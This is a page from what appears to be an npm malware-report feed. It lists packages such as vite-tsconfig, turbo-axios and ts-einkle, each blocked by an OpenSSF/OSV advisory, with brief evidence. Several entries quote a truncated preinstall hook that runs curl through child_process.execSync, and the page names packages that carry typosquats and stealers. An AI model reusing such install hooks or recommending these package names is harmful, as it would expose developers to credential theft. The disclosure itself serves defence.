npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 691
Updated 27 Oct 2026, 09:23 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-5728 blocks this version. OSV/OpenSSF confirms vite-config-react@1.3.1 as malicious package MAL-2026-5728. Malicious code in vite-config-react (npm)
OpenSSF/OSV malware advisory MAL-2026-5576 blocks this version. OSV/OpenSSF confirms vite-tsconfig@1.1.3 as malicious package MAL-2026-5576. Malicious code in vite-tsconfig (npm)
OpenSSF/OSV malware advisory MAL-2026-5576 blocks this version. OSV/OpenSSF confirms vite-tsconfig@1.1.2 as malicious package MAL-2026-5576. Malicious code in vite-tsconfig (npm)
OpenSSF/OSV malware advisory MAL-2026-5576 blocks this version. OSV/OpenSSF confirms vite-tsconfig@1.1.0 as malicious package MAL-2026-5576. Malicious code in vite-tsconfig (npm)
OpenSSF/OSV malware advisory MAL-2026-5168 blocks this version. The OpenSSF Package Analysis project identified 'vg-interaction-model' @ 40.0.1 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-5168 blocks this version. The OpenSSF Package Analysis project identified 'vg-interaction-model' @ 40.0.1 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-5341 blocks this version. OSV/OpenSSF confirms void-ulid@3.0.2 as malicious package MAL-2026-5341. Malicious code in void-ulid (npm)
OpenSSF/OSV malware advisory MAL-2026-4695 blocks this version. turbo-axios is a typosquat of the popular axios HTTP client (it re-exports the full axios API and reuses axios's repository...
OpenSSF/OSV malware advisory MAL-2026-4695 blocks this version. turbo-axios is a typosquat of the popular axios HTTP client (it re-exports the full axios API and reuses axios's repository...
OpenSSF/OSV malware advisory MAL-2026-4696 blocks this version. package.json declares `turing-code` as an HTTPS tarball dependency at https://turing.tap365.org/v1.1.2/turing-code-1.1.2.tg...
OpenSSF/OSV malware advisory MAL-2026-6298 blocks this version. package.json declares a preinstall lifecycle script that runs `node -e "try{require('child_process').execSync('curl -sf htt...
OpenSSF/OSV malware advisory MAL-2026-6298 blocks this version. package.json declares a preinstall lifecycle script that runs `node -e "try{require('child_process').execSync('curl -sf htt...
OpenSSF/OSV malware advisory MAL-2026-6298 blocks this version. package.json declares a preinstall lifecycle script that runs `node -e "try{require('child_process').execSync('curl -sf htt...
OpenSSF/OSV malware advisory MAL-2026-6298 blocks this version. package.json declares a preinstall lifecycle script that runs `node -e "try{require('child_process').execSync('curl -sf htt...
OpenSSF/OSV malware advisory MAL-2026-5647 blocks this version. Package is published as 'ts-ecro' but ships a verbatim copy of big.js v7.0.1 with the original author's copyright, email, a...
OpenSSF/OSV malware advisory MAL-2026-5647 blocks this version. Package is published as 'ts-ecro' but ships a verbatim copy of big.js v7.0.1 with the original author's copyright, email, a...
OpenSSF/OSV malware advisory MAL-2026-6525 blocks this version. Package is published as `ts-einkle-slot` but its tarball contents (source, README, LICENCE, package.json author/repository/...
OpenSSF/OSV malware advisory MAL-2026-6524 blocks this version. ts-einkle@1.1.3 ships a comprehensive installer-side stealer in its main module `peer-math.js`. On require, `syncSession()`...
OpenSSF/OSV malware advisory MAL-2026-3505 blocks this version. The package ts-dna was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3505 blocks this version. The package ts-dna was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3505 blocks this version. The package ts-dna was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3505 blocks this version. The package ts-dna was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3505 blocks this version. The package ts-dna was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-6321 blocks this version. Package ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author 'Michael Mclaughlin', repository URL https://gi...
OpenSSF/OSV malware advisory MAL-2026-6315 blocks this version. ts-arithmetic-helper@3.7.2 ships source files that copy the big.js v7.0.1 library verbatim (preserving Michael Mclaughlin's...